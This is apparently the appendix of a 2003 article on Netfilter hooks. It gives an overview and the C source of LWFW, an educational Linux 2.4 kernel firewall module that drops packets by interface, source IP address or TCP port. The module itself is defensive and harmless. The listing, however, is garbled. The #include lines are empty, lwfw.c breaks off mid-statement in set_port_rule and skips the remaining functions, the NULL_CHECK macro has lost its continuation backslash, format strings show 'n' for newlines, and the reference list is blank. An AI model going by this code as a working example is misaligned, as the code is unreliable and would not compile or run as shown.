Because the LWFW source is sufficiently documented I will only provide a brief overview of how it works. When the LWFW module is installed its first task is to try and register the control device. Note that before the ioctl() interface to LWFW can be used, a character device file needs to be made in /dev. If the control device registration succeeds the "in use" marker is cleared and the hook function for NF_IP_PRE_ROUTE is registered. The clean-up function simply does the reverse of this process.

LWFW provides three basic options for dropping packets. These are, in the order of processing:

  • Source interface
  • Source IP address
  • Destination TCP port
The specifics of these rules are set with the ioctl() interface. When a packet is received LWFW will check it against all the rules which have been set. If it matches any of the rules then the hook function will return NF_DROP and Netfilter will silently drop the packet. Otherwise the hook function will return NF_ACCEPT and the packet will continue on its way.

The last thing worth mentioning is LWFW's statistics logging. Whenever a packet comes into the hook function and LWFW is active the total number of packets seen is incremented. The individual rules checking functions are responsible for incrementing their respective count of dropped packets. Note that when a rule's value is changed its count of dropped packets is reset to zero. The lwfwstats utilises the LWFW_GET_STATS IOCTL to get a copy of the statistics structure and display it's contents.

A.2 The source... lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
 * Netfilter for 2.4. Designed for educational purposes.
 * 
 * Written by Owen Klan  -  March 2003.
 */

#define MODULE
#define __KERNEL__

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 

#include "lwfw.h"

/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
		      unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
 * can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
 * If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
				    | LWFW_IP_DENY_ACTIVE
				    | LWFW_PORT_DENY_ACTIVE);

static int major = 0;		       /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */
/* TODO:  One day LWFW might actually support many simultaneous rules.
 * Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL;                 /* Interface to deny */
static unsigned int deny_ip = 0x00000000;    /* IP address to deny */
static unsigned short deny_port = 0x0000;   /* TCP port to deny */

/* 
 * This is the interface device's file_operations structure
 */
struct file_operations  lwfw_fops = {
   NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     lwfw_ioctl,
     NULL,
     lwfw_open,
     NULL,
     lwfw_release,
     NULL			       /* Will be NULL'ed from here... */
};

MODULE_AUTHOR("Owen Klan");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
 * This is the function that will be called by the hook
 */
unsigned int lwfw_hookfn(unsigned int hooknum,
		       struct sk_buff **skb,
		       const struct net_device *in,
		       const struct net_device *out,
		       int (*okfn)(struct sk_buff *))
{
   unsigned int ret = NF_ACCEPT;
   
   /* If LWFW is not currently active, immediately return ACCEPT */
   if (!active)
     return NF_ACCEPT;
   
   lwfw_statistics.total_seen++;
   
   /* Check the interface rule first */
   if (deny_if && DENY_IF_ACTIVE) {
      if (strcmp(in->name, deny_if) == 0) {   /* Deny this interface */
	 lwfw_statistics.if_dropped++;
	 lwfw_statistics.total_dropped++;
	 return NF_DROP;
      }
   }
      /* Check the IP address rule */
   if (deny_ip && DENY_IP_ACTIVE) {
      ret = check_ip_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
      /* Finally, check the TCP port rule */
   if (deny_port && DENY_PORT_ACTIVE) {
      ret = check_tcp_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
      return NF_ACCEPT;		       /* We are happy to keep the packet */
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
   NULL_CHECK(statbuff);

   copy_to_user(statbuff, &lwfw_statistics,
		sizeof(struct lwfw_stats));
   
   return 0;
}

/* Function that compares a received TCP packet's destination port
 * with the port specified in the Port Deny Rule. If a processing
 * error occurs, NF_ACCEPT will be returned so that the packet is
 * not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
   /* Seperately defined pointers to header structures are used
    * to access the TCP fields because it seems that the so-called
    * transport header from skb is the same as its network header TCP packets.
    * If you don't believe me then print the addresses of skb->nh.iph
    * and skb->h.th. 
    * It would have been nicer if the network header only was IP and
    * the transport header was TCP but what can you do? */
   struct tcphdr *thead;
   
   /* We don't want any NULL pointers in the chain to the TCP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;

   /* Be sure this is a TCP packet first */
   if (skb->nh.iph->protocol != IPPROTO_TCP) {
      return NF_ACCEPT;
   }

   thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   
   /* Now check the destination port */
   if ((thead->dest) == deny_port) {
      /* Update statistics */
      lwfw_statistics.total_dropped++;
      lwfw_statistics.tcp_dropped++;
      
      return NF_DROP;
   }
      return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet's source address
 * with the address specified in the IP Deny Rule. If a processing
 * error occurs, NF_ACCEPT will be returned so that the packet is
 * not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
   /* We don't want any NULL pointers in the chain to the IP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;
   
   if (skb->nh.iph->saddr == deny_ip) {       /* Matches the address. Barf. */
      lwfw_statistics.ip_dropped++;    /* Update the statistics */
      lwfw_statistics.total_dropped++;
      
      return NF_DROP;
   }
      return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
   int ret = 0;
   char *if_dup;		       /* Duplicate interface */
   
   /* Make sure the name is non-null */
   NULL_CHECK(name);
   
   /* Free any previously saved interface name */
   if (deny_if) {
      kfree(deny_if);
      deny_if = NULL;
   }
      if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL)) == NULL) {
      ret = -ENOMEM;
   } else {
      memset(if_dup, 0x00, strlen((char *)name) + 1);
      memcpy(if_dup, (char *)name, strlen((char *)name));
   }

   deny_if = if_dup;
   lwfw_statistics.if_dropped = 0;     /* Reset drop count for IF rule */
   printk("LWFW: Set to deny from interface: %sn", deny_if);
   
   return ret;
}

static int set_ip_rule(unsigned int ip)
{
   deny_ip = ip;
   lwfw_statistics.ip_dropped = 0;     /* Reset drop count for IP rule */
   
   printk("LWFW: Set to deny from IP address: %d.%d.%d.%dn",
	  ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
	  (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
   
   return 0;
}

static int set_port_rule(unsigned short port)
{
   deny_port = port;
   lwfw_statistics.tcp_dropped = 0;    /* Reset drop count for TCP rule */
   
   printk("LWFW: Set to deny for TCP port: %dn",
	  ((port & 0xFF00) >> 8 | (port & 0x00FF) 


A.3 lwfw.h

/* Include file for the Light-weight Fire Wall LKM.
 * 
 * A very simple Netfilter module that drops backets based on either
 * their incoming interface or source IP address.
 * 
 * Written by Owen Klan  -  March 2003
 */

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
 * Userspace code has no business knowing about it. */
# define LWFW_NAME        "lwfw" 

/* Version of LWFW */
# define LWFW_VERS        0x0001       /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
 * print anything with printk(). This is included for debugging purposes.
 */
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET   0xFEED0000     /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS   0xFEED0001     /* Get the version of LWFM */
#define LWFW_ACTIVATE   0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS  0xFEED0004
#define LWFW_DENY_IF    0xFEED0005
#define LWFW_DENY_IP    0xFEED0006
#define LWFW_DENY_PORT  0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE   0x00000001
#define LWFW_IP_DENY_ACTIVE   0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
 * Note that whenever a rule's condition is changed the related
 * xxx_dropped field is reset.
 */
struct lwfw_stats {
   unsigned int if_dropped;	       /* Packets dropped by interface rule */
   unsigned int ip_dropped;	       /* Packets dropped by IP addr. rule */
   unsigned int tcp_dropped;	       /* Packets dropped by TCP port rule */
   unsigned long total_dropped;   /* Total packets dropped */
   unsigned long total_seen;      /* Total packets seen by filter */
};

/* 
 * From here on is used solely for the actual kernel module
 */
#ifdef __KERNEL__
# define LWFW_MAJOR       241   /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
 * a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)    
   if ((ptr) == NULL)  return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE    (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE    (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif				       /* __KERNEL__ */
#endif

B. References

This appendix contains a list of references used in writing this article.


(C) Owen Klan - March 2003
Using Netfilter hooks | 0 comments | Create New Account
The following comments are owned by whomever posted them. This site is not responsible for what they say.